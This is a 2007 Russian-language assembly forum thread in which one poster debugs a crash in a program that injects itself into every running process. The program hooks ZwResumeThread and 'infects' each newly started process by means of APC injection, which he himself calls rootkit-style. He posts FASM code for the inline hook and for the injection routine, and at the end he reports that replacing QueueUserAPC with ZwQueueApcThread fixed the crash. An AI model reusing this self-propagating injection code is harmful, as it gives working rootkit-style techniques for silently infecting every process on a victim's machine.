внутри APC валиться CreateThread->RtlQueryInformationActivationContext

Тема в разделе "WASM.WIN32", создана пользователем dead_body, 27 авг 2007.

  1. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    Сделал инжект АПС как на рутките при старте процесса. Вроде все Ок. Потом опять полезли полтергейсты(Глюки не поддающиеся моей логике).
    Значит моя прогрмма инжектиться во все, там перхватывает ZwResumeThread, и смотрит если возобновляеться поток в процессе, который не заражен, то заражает. Проверил на totalcmd.exe,frigate.exe - работает. Обрадовался уж. Но потом, проверил на всей системе целиком. Вижу процессы перестались запускаться. Смотрю в чем дело. Если explorer.exe что то запукаеться, то валимся. Начал бой против explorera.
    Смотрю(Внутри АПС):
    CreateThread -> CreateRemoteThread->ZwCreateThread -> Ok.
    Дальше идёт вызов RtlQueryInformationActivationContext. В нё то мы и валимся.

    Решил всё проверить на нотепаде. Запускаю нотепад от имени totalcmd и второй от имени explorer. Гляжу начались различия в след. коде:
    Код (Text):
    1. MOV EAX,DWORD PTR FS:[18]
    2. MOV DWORD PTR SS:[EBP-3C],EAX
    3. MOV EAX,DWORD PTR DS:[EAX+1B0]
    4. MOV DWORD PTR SS:[EBP-40],EAX
    5. CMP EAX,EBX
    6. JNZ ntdll.7C92804D
    По обыкновению не идёт прыжок.(то есть ТЕБ+1B0 = 0).
    Но в ехплорере идёт(ТЕБ+1B0 <> 0). И ближайших командах мы полчаем ошибку и улетаем. Подскажите, кто чем может.

    Параметры передаваемые в RtlQueryInformationActivationContext вроде одинаковы.
    Как я понял :MOV EAX,DWORD PTR FS:[18] это бы в ТЕБ смотрим.
    MOV EAX,DWORD PTR DS:[EAX+1B0] - что тут находиться(и какая **** их заплняет), подскажите, если кто знает и ему не жалко.
     
  2. tylerdurden

    tylerdurden New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2004
    Сообщения:
    322
    Какая винда ? 2к ? Сделай GetThreadContext перед инжектом.

    П.С. Зачем хукать ResumeThread ?
     
  3. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    tylerdurden
    XP.
    зачем? я контекст и в отладчике глянуть могу. Вроде ничего интеерсного там нет....
    Код (Text):
    1. proc NewZwResumeThread uses ebx edi esi, \
    2.                                     ThreadHandle,PreviousSuspendCount
    3.  
    4. local temp:DWORD,ThreadInfo:THREAD_BASIC_INFORMATION
    5.         call $+5
    6.         pop ebx
    7.         sub ebx,$-BaseIndependentStart-1
    8.         lea ecx,[.old+delta]
    9.         WriteProcessMemory(INVALID_HANDLE_VALUE,[pZwResumeThread+delta],ecx,6,addr temp)
    10.         ZwQueryInformationThread([ThreadHandle],THREAD_BASIC_INFO,\
    11.                                                 addr ThreadInfo,sizeof.THREAD_BASIC_INFORMATION,NULL)
    12.         test eax,eax
    13.         jnz @F
    14.         MustWeInfectIt([ThreadInfo.ClientId.UniqueProcess])
    15.         test eax,eax
    16.         jz @F
    17.        InjectInChildProcess([ThreadInfo.ClientId.UniqueProcess],[ThreadInfo.ClientId.UniqueThread])
    18. @@:     stdcall [pZwResumeThread+delta],[ThreadHandle],[PreviousSuspendCount]
    19.         push eax ecx edx
    20.         lea ecx,[.new+delta]
    21.         WriteProcessMemory(INVALID_HANDLE_VALUE,[pZwResumeThread+delta],ecx,6,addr temp)
    22.         pop edx ecx eax
    23.         ret
    24. .old    rb 6
    25. .new    db 68h  ;push
    26.         rb 4    ;for pointer
    27.         db 0C3h ;ret
    28. endp
    Код (Text):
    1. proc InjectChildProcessShell parametr
    2.    pushad
    3.    call $+5
    4.    pop ebx
    5.    sub ebx,$-BaseIndependentStart-1
    6.    InitKernel32API()
    7.    test eax,eax
    8.    jz .ret
    9.    InitNtdllAPI()
    10.    test eax,eax
    11.    jz .ret
    12.    lea eax,[LogFilePath+delta]
    13.    mov [log_file_path.Buffer+delta],eax
    14.    write 'InjectChildProcessShell:Enter.'
    15.  ;  Sleep(30000);здесь коннектился и смотрел отладчиком.
    16.    lea edx,[start_to_work+delta]
    17.    CreateThread(0,0,edx,edx,0,0)
    18.    .if ~ eax
    19.        GetLastError()
    20.        write 'InjectChildProcessShell:Critical Error! CreateThread fails. GetLastError = %X.',eax
    21.    .else
    22.        CloseHandle(eax)
    23.        .if ~ eax
    24.            GetLastError()
    25.            write 'InjectChildProcessShell:CloseHandle fails. GetLastError = %X.',eax
    26.        .endif
    27.    .endif
    28.    write 'InjectChildProcessShell:Leave.'
    29. .ret:
    30.    popad
    31.    ret
    32. endp
    33. InjectChildProcessShell_size = $ - InjectChildProcessShell
     
  4. tylerdurden

    tylerdurden New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2004
    Сообщения:
    322
    Его надо пощупать после создания (если он саспендед). Хотя ХП ? Nevermind
     
  5. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    сорри CreateThread здесь ни при чем.

    модерам:
    снесите топик, тут причина в другом, я другой топ создам.
     
  6. dead_body

    dead_body wasm.ru

    Публикаций:
    0
    Регистрация:
    3 сен 2004
    Сообщения:
    603
    Адрес:
    Украина;г.Харьков;г.Н.Каховка
    а прикол был ещё тот.
    поменял QueueUserAPC на ZwQueueApcThread и всё заработало. Что было это х.з.